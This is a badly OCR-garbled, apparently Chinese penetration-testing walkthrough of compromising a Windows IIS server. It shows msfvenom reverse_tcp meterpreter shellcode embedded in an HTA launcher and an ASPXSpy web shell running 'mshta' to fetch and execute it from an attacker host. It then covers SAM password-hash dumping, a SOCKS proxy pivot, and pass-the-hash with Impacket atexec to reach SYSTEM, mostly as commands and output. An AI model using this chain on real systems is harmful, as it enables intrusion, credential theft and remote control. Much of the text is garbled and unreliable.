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WindowsiEil/ RERTELXILL

| #MEEE || 2NESHE |

FENESHE |

1535108 &
15394568 &
1536852 EE
1540328 ﬁﬂa
154052 5
1539876 EH
1541845 EH
1538596 &
1542660 B E
1543132 EH
1542504 EE
1541600 & &
1542704 EH
1542808 &

zafedogtray. exe: EEH
zafedogguardoenter. exe: EEH
zafedogupdatecenter. exe: EEH
hipsdaemon. exe: NI 2
hipstray. exe: K@;ﬁ%ﬁf#

0x03 4% K44 3REX MSF =1iE

PAINRIE MSF N1 NABNERI— =18, KA ASTEE
web_delivery H1HY povvershe\l HATAIE R hta_server Y hta X4, PREAXFFN S
EXE 2T ABY,

== -]

& 8B v 2 & &£ 0

ns View Split MultExec Tunneling Packages Settings Help
1.16 (root)

! ing Payload
hta_server - Deliv g Payload

AEEE [ mshtaexe

FtFImAE: F fTPowerShell
BIEBIR #T] C\Windows\System32),
WindowsPowerShell\w1.0\powershell.exe

JFfvIlrml. hta

JFfwIlrml. hta

EM TmsEl, E8NME
F HMokjF D»'m [11.hta
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shellcode FRYTIIT, AEYE exp.hta XA shellcode By MSF #9
shellcode B 7],

[root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterprete
r/reverse_tcp lhost=155.** *** 16 1port=443 -f raw > /tmp/shellcode.bin
[root@pl600778655 ~]# cat /tmp/shellcode.bin | base64 -w @

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

msf6 exploit(multi/handler) > set lhost 155.** *** 16

msf6 exploit(multi/handler) > set lport 443

msf6 exploit(multi/handler) > exploit
Q' Ch\Users) \Desktop\exp.hta - Notepad++ — [m] X
TR EEE BRG AEV) HEN) S50 8EM IRO) =M EFR EHE) 50w 2 X
e 2 s & [ gl ez BE(=T EEho® | ® 3]

B exp. ke
= pt
HTA shellcode launcher. This will spawn a 32 bit version of the binary specified and inject shellcode into it.

a blnarv you want to inject into, default "rundll3z. ", you can use notepad.exe, calc.exe for example...
bit raw sheﬂcode in whatever framework you want. Tested: Cobalt Strike, Metasploit Framework

64 -w 0
I'opv the 64 encoded pav]oad inte the code variable below.

e with binary name that you want to inject into. This can be anything that exists both in SYSWOW64 and
Dim binary : binary = "rundl132.exe"

' Base64 encoded 32 bit shellcode
Dim code : code =
" /01CAAAAYINTMcBki1AwilIMi1TUi3ToD7dKIjH/ rDxh AT SETtKPTtMEX] j SAHRUYtZTAHTi0kY4zplizSLAdY>

1gdfYDffg7fSR1SF1LWCOBO2al DEULWEWBB4sE 1wHQ1UQk JF _r]VloMzIAAGh3czJ { oLy AQAN-\CF‘UI
gvgCmibXooQaAIAAbUJ 1EQIJFEAIJEBQ%00P3+D r1ZdgEFZXzs ;thOhMAAAMngBF._ ahLZ s%%j
M

aFi1ku+; TagBWUldoAtnIX//Vg/gATShYaABAAABgQAFBC
Hyper Text Markup Language file length : 16,111 lines: 214 Ln:21 Col:8 Sel:0|0 Windows (CR LF) UTF-8 INS

«—

RIEFEZE ASPX
KIDHR TS INEEANE RS BRI mshta.exe HT exp.hta X4 fFE07]
éj/%o

python -m SimpleHTTPServer 8888

python3 -m http.server 8888

|
ASPXSpy2014 - 59 x +
Re-sitach =2 F B Dupicate Q @ ™M m ¥ Hidetoobar
<« X {y A F==|59 .230:801/
v | [AE=2] Forwarded
59. 1.230:801(59. = .230) Host Trust Level: Full IsFull-Trust True User. |IS APPP
Logout | File Manager | FieSearch | CmdShell | IS Spy | Process | Services | Userinfo | Sysinfo |

Execute Command >>

CmdPath
c\windows\system32\cmd exe

Argument
[ Re-atach 57 Fulscreen [ Stay on to % Dupicate Q @ ™M = ¥§ Hidetoobar fc mshta hitp.//155 16:8888/exp hta

Copyright(C)2006-2014 Bin'Blog All Rights Reserved

e not found

0x04 SAM MRS HISHE
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B IRGEE KGR RIS )

AR BIHAE
AT, PRARABENIIX
ﬁﬁﬁﬂ@%%*ﬂlﬁﬁﬂﬁiio

BiEAA (TEREIE T E MK MERNES)

—XHIRRINIE,

2 TR Z IR EXP, PN DAEENRITASRA, MySQL 14
B ET, GOFTP B2 UEKIX—T, TiZF

JRIBRE R,

Y SAM SEARRINA Users ) Everyone AUIEEVA SRS FLAER] A MSF THY

hashdump BIRE HIEF

> getuid
> load powershell
> powershell_shell
> Get-Acl -Path HKLM:\SAM\SAM | Format-List

> run post/windows/gather/hashdump

(& Re-attach % Fulscreen [E] Stayontop & Duplicate

meterpreter > getuid

Server username: IIS APPPOOLY .com

meterpreter > load powershell

Loading extenalon powershell. .
shell

meterpreter = powershell
PS = Get- Ac] -Path HKLM:\SAM\SAM | Format-List

.Success.

Q QM & F Hoetookar

B Close

: Microsoft.PowerShell.Core\Registry: :HKEY_LOCAL_MACHINE)\SAM\SAM

. NT AUTHORITY\SYSTEM
s : NT AUTHORITY} TEM Allow FullControl
BUILTIN\Admar
BUILTIN\Users Allow ReadKey
' s Allow -2147483648
BUILTIN\Administrators Allow FullC
NT AUTHORITY\SYSTEM Allow Ful
NT AUTHORITY\SYSTEM Allow 26
CREATOR OWNER Allow 268435456

strators Allow ReadPermissions, ChangePermissions

: 0:BAG:SYD:AL(A;CI;KA;;;SY)(A;CI;RCWD;;;BA) (A;ID;KR;;;BU)(A;CIIOID;GR;;;BU)(A;ID;KA;; ;BA)(A;

Termlnate channel 97 [y/N] y
meterpreter > run post/windows/gather/hashdump

[*] obtaining the boot key...

[*] caleulating the hboot key using SYSKEY 038207a%
[#] obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Admlnlatrator 500: aad3b43‘b‘14D4eeaad3b43“b‘1404ee ebdccc1‘4o

PhpMyAdmin_HWS:1
huwe1shen612877:1004

0x05 atexec #&F System R
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ZF) A SAM FEMRITM R E)AS H T EHES, ERIAEIRE Lo, W:

Eﬁﬁﬁﬁ(%‘ﬁ%\ WERA T IaF . A TRFE, BRI SN2 EF#T

NN E?

ebdeccibdom’ wThefla2 14927413c
=5

&ifa

=EE:

=7

EMNFUEESHEE, EEEES5E. ISRSaESHeREsnEEd, SUSTRESN. BIgTamyE
HEEEEES, ErEIsEIlEeEEaNEERIA S TR
[TEliEEEER ]

XETEA T UE I E AR HASH RIS migm AT LERNT AR S
BB Impacket EF 2 an L TINEEF R atexec RMETR, EMZIFHHESD
MTEMNEMAARU T,

135 ix0:

WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec;

Impacket:

psexec(445)/wmiexec(135)/smbexec(445)/atexec(445);

MAAN:

Local &t . Socks4/5(KI2 | Metasploit@ilksHE;

XE G HE] MSF 2TERMINERIEEE, AEEA socks_proxy BRI E—
™ socksb UIE, 824K proxychains.conf BL& X4, /5 proxychains fLIET
E&Hﬂﬁ atexec BNE],

meterpreter > run get_local_subnets
meterpreter > run autoroute -s 59.**¥* *** /255 255.255.0
meterpreter > bg

msf6 auxiliary(server/socks_proxy) > set username test
msf6 auxiliary(server/socks_proxy) > set password 123456

msf6 auxiliary(server/socks_proxy) > run
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(& Re-attach I Fullscreen [E] stayontop N& Duplicate - Q q FY ® & Hidetoolar

msf6 auxiliary( N ) = sessions -i 1
*] Starting interaction with 1...

ar = run get local subnets

['] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
['] Example run post/multi/mane fautoroute OPTION=value [...]

er = run autorou

eterpreter scripts are
['] Example: run post/
[*] Adding a route to

[*] Backg

msf6 auxiliary( z 0 ) = set username test
username => test

msf6 auxiliary( ’ y) = set password 123456
password ==

msf6 auxiliary( ) > run

[*] Auxiliary module runni

[*] Starting the S0CKS pre
msf6 auxiliary(

B Close

%o WHER

Kali B9 proxychains FEEERIALE / etc/proxychains.conf, ME{THRIFLEN
proxychainsd BCEEIREF I / src/proxychains.conf, WMa{EFE AR T, B

BEXHEHEN T,

[root@p1600778655 srcl# vi /srv/proxychains/src/proxychains.conf

(& Re-attach I Fulscreen [E] Stayontop K& Duplicate . q q FY e % nide toclbar

socks5 8 16 lamer
http : justu
socks4 ]

http

y types: http, socks4, socks5, raw

#
#
#
Ed
#
#
#
Ed
#
# ( auth types supported: "basic"-http “user/pass”-socks )
#

[ProxylList]

# add proxy here

# meanwhile

# defaults set to "tor"

Bocks5 12 7.1 1080 test 123456

F A proxychains LI T BT atexec R AJEES HEIA T RES, B
TR]BASTA Ping 9o**mf.dnslog.cn ap S & N fliTamIl, R

BE, B3

https://mp.weixin.qq.com/s/Oe1 ARbfpoPiognCGDQ4HeA
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DNSLog WEIEEN B AL,

[root@pl1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf py
thon3 /srv/impacket/examples/atexec.py -hashes :ebdcccl54cadcda7f5ef@a2149274f
3c administrator@59.*** *** 230 "cmd /c ping 90**mf.dnslog.cn"

H 2 1556 516 (roof) - O x

! Re-attach 5% Fulscreen (2] Stayontop B5 Duplicate Q O\ B @ F Hidetoolbar u[‘.luse
5 ~1# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv @
os/atexec.py -hashes '"bdccc154 0
/36 "cmd /c ping Yomgmf.dnslog.cn”

[prory:halﬂs] config file found: /srv/proxychains/src/proxychains.conf
[proxychains] preloading /usr/local/lib/1ibproxychains4.so
[proxychains] DLL init
Impacket v0.9.23.dev1+20210504.123629.24a0ae6T - Copyright 2020 SecureAuth Corporation

[!'T This will work ONLY on Windows == Vis

C

[proxychains] Strict chain ... 127.0.0.1:1080 ... 59. .230:445 ... (K

[*] Creating task \IckTWxHN

[*1 Running task \IckTWxHN

[*] Deleting task \IckTWxHN

[*] Attempting to read ADMINS$\Temp\IckTWxHN.tmp

[-] SMB SessionError: STATUS BAD NETWORK NAME({Network Name Not Found} The specified sha
~e name cannot be found on the remote server.) v

| Get SubDomain || Refresh Record |

90" mf.dnslog.cn

DNS Query Record IP Address Created Time
90f mf.dnslog.cn 172l B4
9ommf.dnslog.cn 741000 84
9o¥mf.dnslog.cn 74.17:1:9.130
9o=ymf.dnslog.cn 172 K164 S T
9omimt.dnslog.cn 1724 B2 3 . VY

WEMSHATHING, S kE—Tam<KinHE MSF &ifF, AEHEH
proxychains ﬁﬁIEﬁ%ﬁ atexec, XEBEHXNITRIAAZIR exp.hta X4 /EEIF]
22 BFrEA SYSTEM,

[root@pl600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf py
thon3 /srv/impacket/examples/atexec.py -hashes :ebdcccl54cadcda7f5ef@a2149274f
3c administrator@59.*** **¥* 239 "cmd /c mshta http://155. %%, *** 16:8888/exp.ht

a
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(& Re-attach 5% Fulscreen [E] Stayontop K Duplicate - G\ Q B e Hige toobar BClUSE |

[root@pl60@778655 ~1# proxychainsd4 - /srv/proxychains/src/proxychains.conf python3 /srv |

mples/atexec.py -hashes :ebdcccl54 17t5ef0a214927413¢c administrator@ss.
) "cmd /c mshta http://155. .16:8888/exp.hta"
[proxy:halnsl config file found: /srv/proxychains/src/proxychains.conf
[proxychains] preloading /usr/local/lib/1libproxychains4.so
[proxychains] DLL init
Impacket v0.9.23.dev1+20210504.123629.24a0ae6T - Copyright 2020 SecureAuth Corporation

[!'] This will work ONLY on Windows == Vista

[proxychains] Strict chain ... 127.0.0.1:1080 ... 59. .230:445 ... 0K

[*] Creating task \IRFtUwhO

[*] Running task \IRFtUwhO

[*] Deleting task \IRFtUwhO

[*] Attempting to read ADMIN$\Temp\IRFtUwh0.tmp

[-1 SMB SessionError: STATUS BAD NETWORK NAME({Network Name Not Found} The specified sha
re name cannot be found on the remote server.) v

(& Re-attach 5% Fulscreen [E] Stayontop B Duplicats - G\ Q B o tide toolar BCIU&&

[root@pl60@778655 ~1# cd /srv/
[root@1600778655 srv]# python3 -m http.server 8888

5urv1ﬂg HTTP on 0.0.0.0 port 8888 (http: .0:8888/) .
.230 - [05/May/2021 21:13:47] "GET /exp.hta HTTPfl 1" 2008 -
£l
(& Re-attach 5% Fulscreen [E] Stayontop B Duplicats - G\ Q B o tide toolar BCIuse

msf6 exploit{multi/handler) > exploit

[*] Started reverse TCP handler on 155.
[*] Suﬂdlﬂg stage (175174 bytes) t : :
] y session 2 opened (155. .16:443 -> 59. .230:51417) at 2621-05-

meterpreter = getuid .
Server username: NT AUTHORITY\SYSTEM %iﬁ’*ﬁﬁ%ﬁ
meterpreter > ||

BRIICE - 1¢

NRZERHE MSF TEAINZEIEEAN, BMEFHF T Socksd IR AEE
proxychains fCI2 TE#M{T atexec, SIREUTEIRIER, EA MSF 89 Socks &
IRETE VPS EFE— Socks IE, 1E)2E MMM NEES Bin 445
Um A T, PRIEREBREN LFE Socks I8, AEAMEZBIrARBN
Socks f57 885 Bin 445 Um0 T8I,
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(& Re-attach 57 Fullscreen [E] Stayontop F& Duplicate - Q Q FY ® ¥ Hidetoolar m Close
[rootﬂplﬁn: 78655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv
i : es/ . -hashes :ebdcccl54 5ef0 4T3c administrator@sS.

[proxychains] config file found: /srv/proxychains/src/proxychains.conf
[proxychains] preloading fusr/local/lib/libproxychains4.so
[proxychains] DLL init

Impacket v0.9.23.dev1+20210504.123629.24a0ae6T - Copyright 2020 SecureAuth Corporation

['] This will work ONLY on W1ndows = Vista

[proxychains] Strict chain ... 27.0.0.1:1080 ... 59. .230:445 < ocked [y
or timeout! ﬁ rﬁ:*ﬂirnﬁ
[-1 [Errno Connection error (59. .2 445)] [Errno 111]

BRIMicE - 2:

Socks UIBRECKLE T, BEMEFA proxychains (L2 T EMIT atexec RHIN
TUUTNRE, BREGSHITEE, H4T whoami>lixt St EART XH, HAR
XA gERERX P IMERIR D RIZEA, BFAIT BT ping dnslog a5 < K HIHTE
SHATRIN,

(@ Re-attach 27 Fullscreen [E] Stayontop K& Duplicate - Cg Q EY m ¥ Hidetoolar m Close

[root@pl600778655 ~1# proxychains4 -f /srv/proxychains/s :Fproxychains.conf python3 /srv
amples/atexec.py -hashes :ebd 54 Se , 274f3c administrator@ss.
cmd /c whoami=C:\window: e
[proxychains] config file found: fstv#prory:halﬂsfsr:fptoxy:halns conf
[proxy:halﬂs] preloading fusr/local/lib/libproxychains4.so
DLL init
Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 2020 SecureAuth Corporation

[!'T This will work ONLY on Windows == Ulsta

[proxy:halns] Strict chain ... 127.0 1080 ... 59. .230:445 ... 0K
z task \AiTs/Zi0I
[*1 Runﬂl g task \AifsZiQI
[*] Deleting task \AifsZiQIL
[*] Attempting to read ADMIN$\Temp\AifsZiQI.tmp
[-]1 SMB SessionError: STATUS BAD NETWORK NAME({Network Name Not Found} The %r,ﬁ_ f ?
[ |

re name cannot be found on the remote server.)
[root@pl600778655 ~1# |

w
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